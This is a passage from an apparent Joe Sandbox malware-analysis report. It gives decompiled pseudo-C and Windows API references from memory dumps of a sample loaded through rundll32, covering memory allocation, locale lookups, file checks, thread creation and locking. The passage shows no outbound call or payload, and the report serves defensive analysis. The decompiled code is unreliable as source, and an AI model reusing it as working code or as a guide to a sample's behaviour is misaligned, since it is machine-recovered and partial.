VirtualFree.KERNEL32 ref: 000002633C8F7431
VirtualQuery.KERNEL32 ref: 000002633C8F745D
VirtualFree.KERNEL32 ref: 000002633C8F746E

Memory Dump Source

Source File: 0000000B.00000002.660376067.000002633C8F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000002633C8F0000, based on PE: true

Associated: 0000000B.00000002.660376067.000002633C911000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.660376067.000002633CB58000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.660376067.000002633CB5C000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.660376067.000002633CB64000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_2633c8f0000_rundll32.jbxd

Similarity

API ID: Virtual$Free$Query
String ID:
API String ID: 778034434-0
Opcode ID: 632809f43275de049218f9d89f58d8bec456a42f476a788ae7c97a9347e30c10
Instruction ID: a4bcc1b38b169bf459086abefc8e1e4a2f993d3831b7af1d2819845d20a3acbf
Opcode Fuzzy Hash: 632809f43275de049218f9d89f58d8bec456a42f476a788ae7c97a9347e30c10
Instruction Fuzzy Hash: 5511BF32711A54C4FB61DEA7A84439A1E84B768BF8F244371DEA90B7D1D936C3E58381

Uniqueness

Uniqueness Score: -1.00%

Function 000002633C8FE7E0 Relevance: 1.5, APIs: 1, Instructions: 43
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateThread.KERNEL32 ref: 000002633C8FE857

Memory Dump Source

Source File: 0000000B.00000002.660376067.000002633C8F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000002633C8F0000, based on PE: true

Associated: 0000000B.00000002.660376067.000002633C911000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.660376067.000002633CB58000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.660376067.000002633CB5C000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.660376067.000002633CB64000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_2633c8f0000_rundll32.jbxd

Similarity

API ID: CreateThread
String ID:
API String ID: 2422867632-0
Opcode ID: ceb6badc61f5cff4ead2dab206425237522b5f72b2435c1637196e24bfbc1241
Instruction ID: c9c858165666ea9358a7a1377268ec4871bde47e5a4f5a1b9b1ab73593ffe2f8
Opcode Fuzzy Hash: ceb6badc61f5cff4ead2dab206425237522b5f72b2435c1637196e24bfbc1241
Instruction Fuzzy Hash: 770124323167D4C1E650DF02B84838BA798FB88BD8F044161ED8D0B791DA3AC7E5C780

Uniqueness

Uniqueness Score: -1.00%

Function 0065014E Relevance: 1.5, APIs: 1, Instructions: 33
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAddFunctionTable.KERNEL32 ref: 00650185

Memory Dump Source

Source File: 0000000B.00000002.659014448.0000000000650000.00000040.00000400.00020000.00000000.sdmp, Offset: 00650000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_650000_rundll32.jbxd

Similarity

API ID: FunctionTable
String ID:
API String ID: 1252446317-0
Opcode ID: 736ac305414e70adcf1275b91d4bcaff3ef6b4ab8c9297397627cedc60055309
Instruction ID: bf463b91709959df4cff5e8943ed905efd8e6c89d2ba9edf177331e36c061a04
Opcode Fuzzy Hash: 736ac305414e70adcf1275b91d4bcaff3ef6b4ab8c9297397627cedc60055309
Instruction Fuzzy Hash: ADE04830718D1D4FEF5CE7ADD85A7B132D6EB68305F08407DA40EC7352E994D9518746

Uniqueness

Uniqueness Score: -1.00%

Function 00650072 Relevance: 1.3, APIs: 1, Instructions: 91
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE ref: 0065009D

Part of subcall function 00650244: LoadLibraryA.KERNELBASE(?,?,?,?,?,?,?,006500D1), ref: 0065029A
Part of subcall function 00650244: GetProcAddressForCaller.KERNELBASE ref: 006502CD

Part of subcall function 0065014E: RtlAddFunctionTable.KERNEL32 ref: 00650185

Memory Dump Source

Source File: 0000000B.00000002.659014448.0000000000650000.00000040.00000400.00020000.00000000.sdmp, Offset: 00650000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_650000_rundll32.jbxd

Similarity

API ID: AddressAllocCallerFunctionLibraryLoadProcTableVirtual
String ID:
API String ID: 1869911696-0
Opcode ID: 55ca33bf4189a9f99503b1eced487b6af5a6bf5252a8cdd78c589d11507266dd
Instruction ID: 2387f76ce9877f0fc7d7be6c565326a14e5e3c2fff14fab0095cae64d404d4ef
Opcode Fuzzy Hash: 55ca33bf4189a9f99503b1eced487b6af5a6bf5252a8cdd78c589d11507266dd
Instruction Fuzzy Hash: BD112810A74C0D07FAB873FE59962B9E492F78C315F880299EC29C2284F958C9968386

Uniqueness

Uniqueness Score: -1.00%

Function 000002633C8F7270 Relevance: 1.3, APIs: 1, Instructions: 36
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 16%

			E000002632633C8F7270(void* __ecx, void* __eflags, long long __rax, void* __rdx) {
				long long _t20;
				signed long long _t21;
				long long _t23;
				long long _t24;
				long long _t25;
				long long* _t27;

				_t20 = __rax;
				E000002632633C8F71D0(__ecx, __rdx);
				r8d = 0x1000;
				r9d = 4; // executed
				VirtualAlloc(??, ??, ??, ??); // executed
				_t25 = _t20;
				if (_t25 == 0) goto 0x3c8f72f9;
				_t21 =  *0x3cb52b88; // 0x2633e350000
				_t27 = _t25;
				 *_t27 = 0x3cb52b80;
				 *0x3cb52b88 = _t25;
				 *(_t27 + 8) = _t21;
				 *_t21 = _t25;
				 *((long long*)(_t27 + 0x13ffe8)) = 2;
				 *0x3cb52bb0 = 0x13ffd0 - __ecx;
				_t4 =  ~_t21 + 0x13fff0; // 0x13fff0
				_t23 = _t27 + _t4;
				 *0x3cb52ba8 = _t23;
				 *((long long*)(_t23 - 8)) = _t24;
				goto 0x3c8f7305;
				 *0x3cb52bb0 = 0;
				return 0;
			}

0x2633c8f7270
0x2633c8f7277
0x2633c8f7284
0x2633c8f728b
0x2633c8f7292
0x2633c8f7297
0x2633c8f729d
0x2633c8f729f
0x2633c8f72a6
0x2633c8f72b0
0x2633c8f72b3
0x2633c8f72ba
0x2633c8f72be
0x2633c8f72c1
0x2633c8f72d4
0x2633c8f72df
0x2633c8f72df
0x2633c8f72e7
0x2633c8f72f3
0x2633c8f72f7
0x2633c8f72f9
0x2633c8f730a

APIs

VirtualAlloc.KERNEL32 ref: 000002633C8F7292

Memory Dump Source

Source File: 0000000B.00000002.660376067.000002633C8F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000002633C8F0000, based on PE: true

Associated: 0000000B.00000002.660376067.000002633C911000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.660376067.000002633CB58000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.660376067.000002633CB5C000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.660376067.000002633CB64000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_2633c8f0000_rundll32.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 71c7f24c2f6c61df3fad73e47cc5659e301935090d33c5eaa10a4f5c54170152
Instruction ID: efbf68bd5ccea57b69be8f1af376512372d8a2e6def0604e5f9039d34d8c1dee
Opcode Fuzzy Hash: 71c7f24c2f6c61df3fad73e47cc5659e301935090d33c5eaa10a4f5c54170152
Instruction Fuzzy Hash: EE014BB5B02B42C6E755CFD5B9993653298F708740F1046B9DA888B356DB3A86F58380

Uniqueness

Uniqueness Score: -1.00%

Function 000002633C8F7360 Relevance: 1.3, APIs: 1, Instructions: 36
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNEL32 ref: 000002633C8F738D

Memory Dump Source

Source File: 0000000B.00000002.660376067.000002633C8F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000002633C8F0000, based on PE: true

Associated: 0000000B.00000002.660376067.000002633C911000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.660376067.000002633CB58000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.660376067.000002633CB5C000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.660376067.000002633CB64000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_2633c8f0000_rundll32.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 7bc40674d16fd4d2e9cfc41317a7085258ff9b89bd1b9dc6c3b91401cda47867
Instruction ID: 3b8bd3a0b25743c1292bdcdf336a7f15b7ffde71a6148815f6d98244359a3335
Opcode Fuzzy Hash: 7bc40674d16fd4d2e9cfc41317a7085258ff9b89bd1b9dc6c3b91401cda47867
Instruction Fuzzy Hash: A9F0C831701BA8D0F745DB16BD4874A265CE714BE5F4042A6ED580F7C9CF75C6E28380

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 000002633C903030 Relevance: 4.6, APIs: 3, Instructions: 112
COMMON

Download Yara Rule

C-Code - Quality: 43%

			E000002632633C903030(void* __ebx, void* __edx, void* __rax, long long __rcx, long long __rdx) {
				void* _v16;
				char _v194;
				char _v364;
				long long _v384;
				long long _v392;
				char _v400;
				short _v402;
				void* _v416;
				long long _v424;
				long long _v440;
				long long _v448;
				long long _v456;
				short _t46;
				signed int _t49;
				void* _t76;
				void* _t77;

				_v424 = __rcx;
				_v416 = __rdx;
				_v402 = r8w;
				_v384 = 0;
				_v392 = 0;
				_v400 = 0;
				_t46 = E000002632633C8FE9E0(__edx, _v416);
				_t76 =  *0x3cb240b8 - _t46; // 0x404
				if (_t76 > 0) goto 0x3c90311c;
				_t77 = _t46 -  *0x3cb244b8; // 0x7c68
				_v402 = _t46;
				if (_t77 > 0) goto 0x3c90311c;
				if (0x40 - r8d < 0) goto 0x3c90311b;
				r9d = 2;
				_t49 = (0x40 + r8d) / r9d;
				if ( *((intOrPtr*)(0x3cb240b8 + (__rdx + __rdx) * 8)) - r11w <= 0) goto 0x3c9030d4;
				goto 0x3c903116;
				if ( *((intOrPtr*)(0x3cb240b8 + (__rdx + __rdx) * 8)) - r10w >= 0) goto 0x3c9030f6;
				r8d = _t49;
				r8d = r8d + 1;
				goto 0x3c903116;
				E000002632633C902EE0(_v424, _v416,  *((intOrPtr*)(0x3cb240c0 + (__rdx + __rdx) * 8)));
				goto 0x3c90311b;
				if (_t49 - 1 - r8d >= 0) goto 0x3c9030a1;
				if ( *_v416 != 0) goto 0x3c9031fa;
				if (IsValidLocale(??, ??) == 0) goto 0x3c9031fa;
				r9d = 0x55;
				GetLocaleInfoW(??, ??, ??, ??);
				r9d = 0x55;
				GetLocaleInfoW(??, ??, ??, ??);
				r8d = 0x55;
				E000002632633C9003A0( &_v194,  &_v364);
				r8d = 0x55;
				E000002632633C9003A0( &_v364,  &_v364);
				r8d = 0x55;
				E000002632633C9003A0( &_v194,  &_v364);
				_v456 = _v392;
				_v448 = 0x3c90325c;
				_v440 = _v400;
				E000002632633C900810(5, _v416, _v384, 0x3c90324c);
				return E000002632633C8FEAC0(3,  &_v400);
			}

0x2633c90303c
0x2633c903040
0x2633c903044
0x2633c903049
0x2633c903051
0x2633c903059
0x2633c903066
0x2633c903070
0x2633c903077
0x2633c903082
0x2633c903089
0x2633c90308d
0x2633c90309f
0x2633c9030a6
0x2633c9030af
0x2633c9030cb
0x2633c9030d2
0x2633c9030eb
0x2633c9030ed
0x2633c9030f0
0x2633c9030f4
0x2633c90310f
0x2633c903114
0x2633c903119
0x2633c903124
0x2633c90313f
0x2633c90315c
0x2633c903163
0x2633c903174
0x2633c90317b
0x2633c90318b
0x2633c903192
0x2633c90319f
0x2633c9031a6
0x2633c9031b6
0x2633c9031bd
0x2633c9031db
0x2633c9031e7
0x2633c9031f0
0x2633c9031f5
0x2633c903217

APIs

IsValidLocale.KERNEL32 ref: 000002633C903138
GetLocaleInfoW.KERNEL32 ref: 000002633C903163
GetLocaleInfoW.KERNEL32 ref: 000002633C90317B

Memory Dump Source

Source File: 0000000B.00000002.660376067.000002633C8F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000002633C8F0000, based on PE: true

Associated: 0000000B.00000002.660376067.000002633C911000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.660376067.000002633CB58000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.660376067.000002633CB5C000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.660376067.000002633CB64000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_2633c8f0000_rundll32.jbxd

Similarity

API ID: Locale$Info$Valid
String ID:
API String ID: 1826331170-0
Opcode ID: 40c614e1d6a1f7bccdf9d707fb12614d7daf84267778d0c99f8ca9fd44a9508b
Instruction ID: ba0d241074c71bfe1b7aaf7f32ed44433683c7c31ecb1b4d3a94248764ac4e02
Opcode Fuzzy Hash: 40c614e1d6a1f7bccdf9d707fb12614d7daf84267778d0c99f8ca9fd44a9508b
Instruction Fuzzy Hash: 9551BF72200AA4C9EB10CFA0D8597E92766F748788F424056EA4C87B99DB3EC7E5C7D4

Uniqueness

Uniqueness Score: -1.00%

Function 000002633C903F80 Relevance: 3.1, APIs: 2, Instructions: 58
COMMON

Download Yara Rule

C-Code - Quality: 68%

			E000002632633C903F80(void* __edx, void* __eflags, void* __rax, long long __rcx, long long __rdx, long long __r8, char _a24) {
				void* _v8;
				short _v12;
				char _v16;
				long long _v32;
				char _v40;
				void* _v48;
				long long _v56;
				void* _t28;
				signed short _t29;

				_v56 = __rcx;
				_v48 = __rdx;
				_v40 = 0;
				_v32 = 0;
				_a24 = __r8;
				_t29 = E000002632633C8FEB70(_t28, _a24);
				0x3c8f6ca0();
				r9d = 4;
				GetLocaleInfoW(??, ??, ??, ??);
				r8d = 4;
				E000002632633C9003A0( &_v16,  &_v16);
				E000002632633C9006E0(_t29 & 0x0000ffff, 3, _v48, _a24, _v32);
				if (E000002632633C903DD0(_t29 & 0x0000ffff, 3, _v48,  *_v48) != 0) goto 0x3c90404e;
				_v12 = 0;
				r8d = 4;
				E000002632633C9003A0( &_v16, _v32);
				E000002632633C9006E0(_t29 & 0x0000ffff, 3, _v48, _a24, _v40);
				if (E000002632633C903DD0(_t29 & 0x0000ffff, 3, _v48,  *_v48) != 0) goto 0x3c90404e;
				E000002632633C8FE9E0(3, _v48);
				E000002632633C8FEAC0(2,  &_v40);
				return E000002632633C8FE9E0(2,  &_a24);
			}

0x2633c903f88
0x2633c903f8c
0x2633c903f90
0x2633c903f98
0x2633c903fa0
0x2633c903fa8
0x2633c903fae
0x2633c903fc0
0x2633c903fc7
0x2633c903fd4
0x2633c903fdb
0x2633c903fec
0x2633c904003
0x2633c904005
0x2633c904013
0x2633c90401a
0x2633c90402b
0x2633c904042
0x2633c904048
0x2633c904058
0x2633c90406f

APIs

GetUserDefaultUILanguage.KERNEL32 ref: 000002633C903FAE
GetLocaleInfoW.KERNEL32 ref: 000002633C903FC7

Part of subcall function 000002633C903DD0: FindFirstFileW.KERNEL32 ref: 000002633C903E02
Part of subcall function 000002633C903DD0: FindClose.KERNEL32 ref: 000002633C903E1D

Memory Dump Source

Source File: 0000000B.00000002.660376067.000002633C8F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000002633C8F0000, based on PE: true

Associated: 0000000B.00000002.660376067.000002633C911000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.660376067.000002633CB58000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.660376067.000002633CB5C000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.660376067.000002633CB64000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_2633c8f0000_rundll32.jbxd

Similarity

API ID: Find$CloseDefaultFileFirstInfoLanguageLocaleUser
String ID:
API String ID: 3216391948-0
Opcode ID: ae4c76f0d0ae0ee38b6eeab43a4a24d078f3f10dc880e0dca47971b4bed04ca5
Instruction ID: 447210414a6a050c49e1e20d39ccf23cc8f1585f28ccd7e319af147e38fecbe2
Opcode Fuzzy Hash: ae4c76f0d0ae0ee38b6eeab43a4a24d078f3f10dc880e0dca47971b4bed04ca5
Instruction Fuzzy Hash: 79210476210A50C9EB10EF35D4953D927A1FB887DCF422246FA4E87B9ACE26C295C380

Uniqueness

Uniqueness Score: -1.00%

Function 000002633C903DD0 Relevance: 3.0, APIs: 2, Instructions: 27
fileCOMMON

Download Yara Rule

C-Code - Quality: 53%

			E000002632633C903DD0(signed int __ecx, void* __edx, void* __rax, long long __rdx, char _a16) {
				void* _v8;
				void* _v600;
				signed int _v601;
				void* _t12;
				signed int _t19;
				void* _t20;
				void* _t23;

				_t23 = __rax;
				_t20 = __edx;
				_a16 = __rdx;
				E000002632633C8FEB70(_t12, _a16);
				E000002632633C9002A0(_a16);
				FindFirstFileW(??, ??);
				_t19 = __ecx & 0xffffff00 | _t23 != 0xffffffff;
				_v601 = _t19;
				if (_t19 == 0) goto 0x3c903e22;
				FindClose(??);
				return E000002632633C8FE9E0(_t20,  &_a16);
			}

0x2633c903dd0
0x2633c903dd0
0x2633c903ddb
0x2633c903de9
0x2633c903df6
0x2633c903e02
0x2633c903e0b
0x2633c903e0e
0x2633c903e18
0x2633c903e1d
0x2633c903e3c

APIs

FindFirstFileW.KERNEL32 ref: 000002633C903E02
FindClose.KERNEL32 ref: 000002633C903E1D

Memory Dump Source

Source File: 0000000B.00000002.660376067.000002633C8F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000002633C8F0000, based on PE: true

Associated: 0000000B.00000002.660376067.000002633C911000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.660376067.000002633CB58000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.660376067.000002633CB5C000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.660376067.000002633CB64000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_2633c8f0000_rundll32.jbxd

Similarity

API ID: Find$CloseFileFirst
String ID:
API String ID: 2295610775-0
Opcode ID: 45f775aa16cdec0f570920c4b5a08cd457c03794c796afc7d16f071189c86cf6
Instruction ID: 552d69de4b12b9fbf5e8b09f14e77d0bad989740425500f828c537f5b7c15e3d
Opcode Fuzzy Hash: 45f775aa16cdec0f570920c4b5a08cd457c03794c796afc7d16f071189c86cf6
Instruction Fuzzy Hash: 9AF0B4222019C0CADBB0EE30D8993EC2311AB4676CF081361E26D4FBE6DD11C7B58340

Uniqueness

Uniqueness Score: -1.00%

Function 000002633C8FC1D0 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 59
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 15%

			E000002632633C8FC1D0(long long __rax) {
				void* _v8;
				long long _v16;
				signed int _v20;
				long long _v32;
				intOrPtr _v36;
				long long _v48;
				_Unknown_base(*)()* _t29;
				long long _t47;
				long long _t61;

				_t47 = __rax;
				_v48 = _t61;
				_v36 = 0;
				GetModuleHandleW(??);
				_t29 = GetProcAddress(??, ??);
				if (__rax == 0) goto 0x3c8fc293;
				0x3c8f6eb0();
				if (_t29 != 0) goto 0x3c8fc293;
				if (GetLastError() != 0x7a) goto 0x3c8fc293;
				E000002632633C8F9050(__rax, __rax);
				_v16 = _t47;
				0x3c8f6eb0();
				_v32 = _v16;
				if (_v36 <= 0) goto 0x3c8fc279;
				if ( *((short*)(_v32 + 8)) != 2) goto 0x3c8fc26a;
				if ( *((char*)(_v32 + 0x10)) != 1) goto 0x3c8fc26a;
				_v20 =  *(_v32 + 0x12) & 0x0000ffff;
				goto 0x3c8fc286;
				_v32 = _v32 + 0x20;
				_v36 = _v36 - 0x20;
				if (_v36 > 0) goto 0x3c8fc248;
				E000002632633C8F9080(_v16);
				goto 0x3c8fc293;
				E000002632633C8FC2B0(_v48);
				goto 0x3c8fc29a;
				_v20 = 0x40;
				return _v20;
			}

0x2633c8fc1d0
0x2633c8fc1d8
0x2633c8fc1dc
0x2633c8fc1ea
0x2633c8fc1f9
0x2633c8fc201
0x2633c8fc20d
0x2633c8fc214
0x2633c8fc21e
0x2633c8fc223
0x2633c8fc228
0x2633c8fc235
0x2633c8fc23e
0x2633c8fc246
0x2633c8fc251
0x2633c8fc25b
0x2633c8fc265
0x2633c8fc268
0x2633c8fc26a
0x2633c8fc26f
0x2633c8fc277
0x2633c8fc27f
0x2633c8fc284
0x2633c8fc28c
0x2633c8fc291
0x2633c8fc293
0x2633c8fc2a2

APIs

GetModuleHandleW.KERNEL32 ref: 000002633C8FC1EA
GetProcAddress.KERNEL32 ref: 000002633C8FC1F9
GetLogicalProcessorInformation.KERNEL32 ref: 000002633C8FC20D
GetLastError.KERNEL32 ref: 000002633C8FC216
GetLogicalProcessorInformation.KERNEL32 ref: 000002633C8FC235

Strings

GetLogicalProcessorInformation, xrefs: 000002633C8FC1F2
kernel32.dll, xrefs: 000002633C8FC1E3

Memory Dump Source

Source File: 0000000B.00000002.660376067.000002633C8F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000002633C8F0000, based on PE: true

Associated: 0000000B.00000002.660376067.000002633C911000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.660376067.000002633CB58000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.660376067.000002633CB5C000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.660376067.000002633CB64000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_2633c8f0000_rundll32.jbxd

Similarity

API ID: InformationLogicalProcessor$AddressErrorHandleLastModuleProc
String ID: GetLogicalProcessorInformation$kernel32.dll
API String ID: 1184211438-812649623
Opcode ID: 9e73f1c42a1c50e376dc9d860871390fddcbc44aefb1b815aa467e59809504cf
Instruction ID: 34b750fcbe6a0cc3b2e0518e82d469356cddd677a7ff627f6cdde1af3f08ef58
Opcode Fuzzy Hash: 9e73f1c42a1c50e376dc9d860871390fddcbc44aefb1b815aa467e59809504cf
Instruction Fuzzy Hash: 1C216D32601610C9EBA4EF70E5893DD37A0E744788F10225AF60A4BB99DB76CBE1C3C0

Uniqueness

Uniqueness Score: -1.00%

Function 000002633C903460 Relevance: 12.1, APIs: 8, Instructions: 88
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 50%

			E000002632633C903460(void* __eax, void* __ebx, signed short __ecx, signed int __edx, long long __rcx, void* __r8, void* __r9) {
				void* _v8;
				char _v16;
				char _v24;
				char _v32;
				signed int _v34;
				void* _v48;
				void* _t30;
				void* _t37;
				void* _t38;
				short _t40;
				signed short _t45;
				signed int _t46;
				void* _t51;
				void* _t90;
				void* _t95;

				_t95 = __r9;
				_t47 = __edx;
				_t45 = __ecx;
				_t30 = __eax;
				_v48 = __rcx;
				_v34 = __edx;
				_v32 = 0;
				_v24 = 0;
				_v16 = 0;
				0x3c8f6b10();
				_t51 =  *0x3cb56f20 - _t30; // 0x7f
				if (_t51 != 0) goto 0x3c9034cb;
				r8d = 0x55;
				E000002632633C9003A0(0x3cb56f22, __r8);
				0x3c8f6b20();
				goto 0x3c9035d6;
				0x3c8f6b20();
				E000002632633C8FE9E0(_t47, _v48);
				_t46 = _t45 & 0x0000ffff;
				if (IsValidLocale(??, ??) == 0) goto 0x3c903590;
				if ( *0x3cb56ef0 == 0) goto 0x3c903524;
				E000002632633C9032F0(_t46, _v34 & 0x0000ffff, _t90,  &_v16, _v34 & 0x0000ffff, _t95);
				E000002632633C8FF010(2, _v34 & 0x0000ffff, _v48, _v16);
				goto 0x3c903590;
				E000002632633C903030(__ebx, 2, _v34 & 0x0000ffff, _t90,  &_v24);
				_t37 = E000002632633C8FF010(2, _v34 & 0x0000ffff, _v48, _v24);
				0x3c8f6cb0();
				_v34 = _t46;
				if (_t46 == _t37) goto 0x3c903590;
				if ( *_v48 == 0) goto 0x3c90356f;
				_t38 = E000002632633C900610(_t46, 2, _v48, 0x3c90361c, _v34 & 0x0000ffff);
				0x3c8f6cb0();
				r8d = _t38;
				E000002632633C903030(__ebx, 2, _v48, _t90,  &_v32);
				_t40 = E000002632633C900610(_t46, 2, _v48, _v32, _v34 & 0x0000ffff);
				0x3c8f6b10();
				 *0x3cb56f20 = _t40;
				E000002632633C902E20(E000002632633C9002A0( *_v48), 0xaa, 0x3cb56f22, _v48);
				0x3c8f6b20();
				return E000002632633C8FEAC0(3,  &_v32);
			}

0x2633c903460
0x2633c903460
0x2633c903460
0x2633c903460
0x2633c903468
0x2633c90346c
0x2633c903470
0x2633c903478
0x2633c903480
0x2633c903490
0x2633c90349a
0x2633c9034a1
0x2633c9034ae
0x2633c9034b5
0x2633c9034c1
0x2633c9034c6
0x2633c9034d2
0x2633c9034db
0x2633c9034e5
0x2633c9034f5
0x2633c903502
0x2633c903510
0x2633c90351d
0x2633c903522
0x2633c903530
0x2633c90353d
0x2633c903542
0x2633c90354f
0x2633c903553
0x2633c90355d
0x2633c90356a
0x2633c90356f
0x2633c90357b
0x2633c90357e
0x2633c90358b
0x2633c903597
0x2633c9035a1
0x2633c9035c4
0x2633c9035d0
0x2633c9035ee

APIs

RtlAcquirePebLock.NTDLL ref: 000002633C903490
RtlLeaveCriticalSection.NTDLL ref: 000002633C9034C1
RtlLeaveCriticalSection.NTDLL ref: 000002633C9034D2
IsValidLocale.KERNEL32 ref: 000002633C9034EE
RtlAcquirePebLock.NTDLL ref: 000002633C903597
RtlLeaveCriticalSection.NTDLL ref: 000002633C9035D0

Memory Dump Source

Source File: 0000000B.00000002.660376067.000002633C8F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000002633C8F0000, based on PE: true

Associated: 0000000B.00000002.660376067.000002633C911000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.660376067.000002633CB58000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.660376067.000002633CB5C000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.660376067.000002633CB64000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_2633c8f0000_rundll32.jbxd

Similarity

API ID: CriticalLeaveSection$AcquireLock$LocaleValid
String ID:
API String ID: 2342242821-0
Opcode ID: 69d72d84cfdaf3b0c2b21491219716c147f0aee94376ac1eb16609f323fd2814
Instruction ID: 905f70ce909e2242e597bab6446e14e0591198fc1b922b478ca4dad7a56c1afd
Opcode Fuzzy Hash: 69d72d84cfdaf3b0c2b21491219716c147f0aee94376ac1eb16609f323fd2814
Instruction Fuzzy Hash: 6541FC31200A60D4EB50EF61D8593ED2761F74878CF462251F54E8BBAADF6AC7E583D0

Uniqueness

Uniqueness Score: -1.00%

Function 000002633C8FC540 Relevance: 10.6, APIs: 7, Instructions: 146
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 91%

			E000002632633C8FC540(void* __edx, signed int* __rcx) {
				void* _v48;
				char _v60;
				signed int* _v80;
				long _t32;
				void* _t35;
				long _t45;
				void* _t47;
				void* _t48;
				signed int _t52;
				signed int _t54;
				intOrPtr _t95;
				signed int* _t100;
				signed int* _t103;

				_v80 = __rcx;
				_t47 = __edx;
				r13d = _v80[6];
				E000002632633C8FCB80(_v80);
				if (sil != 0) goto 0x3c8fc6f6;
				if (__edx == 0) goto 0x3c8fc6f6;
				if (r13d <= 0) goto 0x3c8fc622;
				r14d = GetTickCount();
				_v60 = 0;
				if (r13d <= 0) goto 0x3c8fc606;
				if (__edx == 0xffffffff) goto 0x3c8fc5b3;
				if (GetTickCount() - r14d - __edx < 0) goto 0x3c8fc5b3;
				goto 0x3c8fc6f6;
				if ( *_v80 - 1 > 0) goto 0x3c8fc606;
				if ( *_v80 != 0) goto 0x3c8fc5f4;
				asm("lock cmpxchg [edx], ecx");
				if (0 != 0) goto 0x3c8fc5f4;
				_t32 = GetCurrentThreadId();
				_t100 = _v80;
				 *(_t100 + 8) = _t32;
				 *((intOrPtr*)(_t100 + 4)) = 1;
				sil = 1;
				goto 0x3c8fc6f6;
				E000002632633C8FC0E0( &_v60);
				r13d = r13d - 1;
				if (r13d > 0) goto 0x3c8fc59a;
				if (_t47 == 0xffffffff) goto 0x3c8fc622;
				_t35 = GetTickCount() - r14d;
				if (_t35 - _t47 < 0) goto 0x3c8fc620;
				goto 0x3c8fc6f6;
				_t48 = _t47 - _t35;
				_t52 =  *_v80;
				if (_t52 == 0) goto 0x3c8fc55d;
				asm("lock inc ecx");
				if (_t52 != _t52) goto 0x3c8fc622;
				r14d = GetTickCount();
				E000002632633C8FC7A0(_v80);
				r8d = _t48;
				_t95 =  *0x3cb52998; // 0x2633cb28650
				sil =  *((intOrPtr*)(_t95 + 0x20))() == 0;
				if (_t48 == 0xffffffff) goto 0x3c8fc685;
				if (GetTickCount() - r14d - _t48 >= 0) goto 0x3c8fc683;
				goto 0x3c8fc685;
